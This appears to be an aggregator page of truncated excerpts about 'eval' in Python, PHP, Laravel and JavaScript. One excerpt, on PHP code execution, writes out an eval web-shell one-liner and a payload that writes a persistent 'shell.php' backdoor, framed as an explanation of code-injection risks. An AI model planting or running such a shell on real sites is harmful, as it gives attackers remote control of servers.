eval

What is the difference between locals and globals when using Python's eval()?

南笙酒味 提交于 2019-12-05 00:13:00
Why does it make a difference if variables are passed as globals or as locals to Python's function eval() ? As also described in the documenation , Python will copy __builtins__ to globals, if not given explicitly. But there must be also some other difference which I cannot see. Consider the following example function. It takes a string code and returns a function object. Builtins are not allowed (e.g. abs() ), but all functions from the math package. def make_fn(code): import math ALLOWED_LOCALS = {v:getattr(math, v) for v in filter(lambda x: not x.startswith('_'), dir(math)) } return eval(

python 内置函数input/eval(22)

时间秒杀一切 提交于 2019-12-04 23:43:47
python的内置函数其实挺多的,其中input和eval算得上比较特殊,input属于交互式内置函数,eval函数能直接执行字符串表达式并返回表达式的值. 一.input函数 input是Python的内置函数也是交互式函数,何为交互式函数?交互式程序是指程序可以接用户交互。 可能以前的代码,部分童鞋可能会觉得有些死板,变量声明和定义都已经提前准备好了,可能老司机会说你不运行程序我也知道输出的结果是什么。 input()函数能接收用户输入的内容,并返回字符串str类型,示例代码如下: while True: a = input("请输入:") print("输入的内容是:{} 类型是:{}".format(a,type(a))) 大家现在都知道AI已经是大势所趋,未来的十年属于AI,那么今天我要告诉你价值一个亿的AI核心代码:(沙雕机器人1.0版本) while True: ''' replace("?","!") 将字符串中英文状态下的问号 ?替换为 感叹号 ! replace("?","!")将字符串中中文状态下的问号 ?替换为 感叹号 ! replace("吗","") 将字符串中的中文 "吗" 替换为 "" ''' print(input("").replace("?","!").replace("?","!").replace("吗","")) 测试结果: 在吗? 在!

eval() in laravel not executing the string

故事扮演 提交于 2019-12-04 22:03:34
My database table contains an eloquent query click here to see Database Table Snapshot .I have fetched the query from database.Now problem is that I'm unable to execute the query that is in the collection. I have Tried eval() to execute the query present the collection.But eval() is not executing it. eval("\"$tempdata\";"); $tempdata contains the query that is in the database table. You need to add return when using eval. Try: eval("return $tempdata;"); Hope this helps! 来源: https://stackoverflow.com/questions/45979813/eval-in-laravel-not-executing-the-string

python补充之进制转换、exec、eval、compile

霸气de小男生 提交于 2019-12-04 20:45:51
目录 eval、exec和compile 1.eval函数 2.exec函数 eval()函数和exec()函数的区别 python中的进制转换 eval、exec和compile 1.eval函数 函数的作用: 计算指定表达式的值 。也就是说它要执行的python代码 只能是单个表达式 (注意eval不支持任何形式的赋值操作),而不能是复杂的代码逻辑。 eval(source, globals=None, locals=None, /) 参数说明: source:必选参数,可以是字符串,也可以是一个任意的code(代码)对象实例(可以通过complie函数创建)。如果它是一个字符串,它会被当作一个(使用globals和locals参数作为全局和本地命名空间的)python表达式进行分析和解释。 globals:可选参数,表示全局命名空间(存放全局变量),如果被提供,则必须是一个字典对象。 locals:可选参数,表示全局命名空间(存放局部变量),如果被提供,可以是任何映射对象。如果参数被忽略,那么它将会取与globals相同的值。 如果globals与locals都被忽略,那么它们将取eval()函数被调用环境下的全局命名空间和局部命名空间。 返回值: 如果source是一个code对象,且创建该code对象时,complie函数的mode参数是‘exec’,那么eval(

代码执行和命令执行

风格不统一 提交于 2019-12-04 20:43:24
代码执行:可执行脚本语言代码 命令执行:可执行系统(Linux、windows)命令 PHP敏感函数代码执行 eval:会把字符串作为代码来执行 preg_replace:执行一个正则的搜索和替换 assert:检查一个断言是否为false call_user_func:把第一个参数作为回调函数调用 call_user_func_array:调用回调函数,并把第一个数组参数作为回调函数的参数 create_function:增加一个匿名的函数 eval: <?php @eval($_GET["arg"])?> eval函数会将提交上来的值作为PHP代码处理,可以提交phpinfo(); 或者生成一句话shell fputs(fopen('shell.php','w+'),'<?php @eval($_POST[pass])?>'); preg_replace:(5.5版本以上已废弃/e修饰符) <?php preg_replace("//e",$_GET['arg'],"start testing...");?> 当replacement 参数构成一个合理的php代码字符串的时候,/e 修正符将参数当做php代码执行 create_function: <?php $test=$_GET["test"];$new_func=create_function('$a,$b', $test

php安装Suhosin禁用eval

感情迁移 提交于 2019-12-04 20:19:18
安装扩展 到下载页面找到对应php版本的插件:https://www.suhosin.org/stories/download.html php5.x: wget https://download.suhosin.org/suhosin-0.9.38.tar.gz 解压安装: tar zxvf suhosin.xxx.tar.gz cd suhosin-xxx/ phpize ./configure --with-php-config=/usr/local/php/bin/php-config make make install 在php.ini下加入suhosin.so即可 extension=suhosin.so 来源: https://www.cnblogs.com/likecs/p/11881429.html

alarm Escaping Perl 'eval' block

谁说我不能喝 提交于 2019-12-04 20:19:17
I have a Perl script that automatically downloads content from various sources. It does the downloading in an eval block with an alarm so that the attempt will time out if it takes too long: eval { alarm(5); my $res = $ua->request($req); $status = $res->is_success; $rawContent = $res->content; $httpCode = $res->code; alarm(0); }; This has worked for years, but after doing some system updates, all of a sudden it quit working. Instead, the first source it hits that times out, I get the following error and the program terminates: Alarm clock What am I doing incorrectly that is preventing eval

Is there a way to secure strings for Python's eval?

别说谁变了你拦得住时间么 提交于 2019-12-04 19:27:22
问题 There are many questions on SO about using Python's eval on insecure strings (eg.: Security of Python's eval() on untrusted strings?, Python: make eval safe). The unanimous answer is that this is a bad idea. However, I found little information on which strings can be considered safe (if any). Now I'm wondering if there is a definition of "safe strings" available (eg.: a string that only contains lower case ascii chars or any of the signs +-*/()). The exploits I found generally relied on

JSLint “eval is evil.” alternatives

与世无争的帅哥 提交于 2019-12-04 19:16:44
问题 I am have some JavaScript functions that run on both the client (browser) and the server (within a Java Rhino context). These are small functions - basically little validators that are well defined and don't rely upon globals or closures - self-contained and portable. Here's an example: function validPhoneFormat(fullObject, value, params, property) { var phonePattern = /^\+?([0-9\- \(\)])*$/; if (value && value.length && !phonePattern.test(value)) return [ {"policyRequirement": "VALID_PHONE

JavaScript:执行上下文&&执行上下文栈

有些话、适合烂在心里 提交于 2019-12-04 17:39:30
在JavaScript概念中,有一个概念比较难以理解,它就是 执行上下文 和 执行栈 。最近在网上查阅了很多资料,现在把我的一些理解写出来,希望对各位有些帮助。 一、执行上下文 什么是执行上下文?是不是我们平时写文章的时候的那个上下文关系?答案是否定的,在JavaScript中的执行上下文指的是JS代码被解析和运行时所处的环境,被称之为JavaScript中的执行上下文,换句话来说,我们在实际开发中写的所有JavaScript代码都会在执行上下文中运行。 有的人就会想到了,既然执行上下文是一个环境,肯定有不同的环境类型了。答案是肯定的,通常会将JavaScript中的执行上下文分为以下三种类型:全局执行上下文、函数执行上下文、Eval函数执行上下文。 全局执行上下文 这个在JavaScript中式默认以及最基本的执行上下文,它的范围很大,类似于全局作用域一样,当目标代码不在任何函数中的时候,它就位于全局执行上下文中,处于全局执行上下文中的代码做了两件事儿: 1>创建一个全局对象,例如浏览器中的全局对象就是window对象; 2>将this指向这个全局对象,而且需要注意的是:一个程序代码中只存在有且只有一个全局执行上下文; 函数执行上下文 函数执行上下文,顾名思义,就是处于函数体内的代码解析及运行的环境,当每次调用函数的时候,都会给该函数创建一个函数执行上下文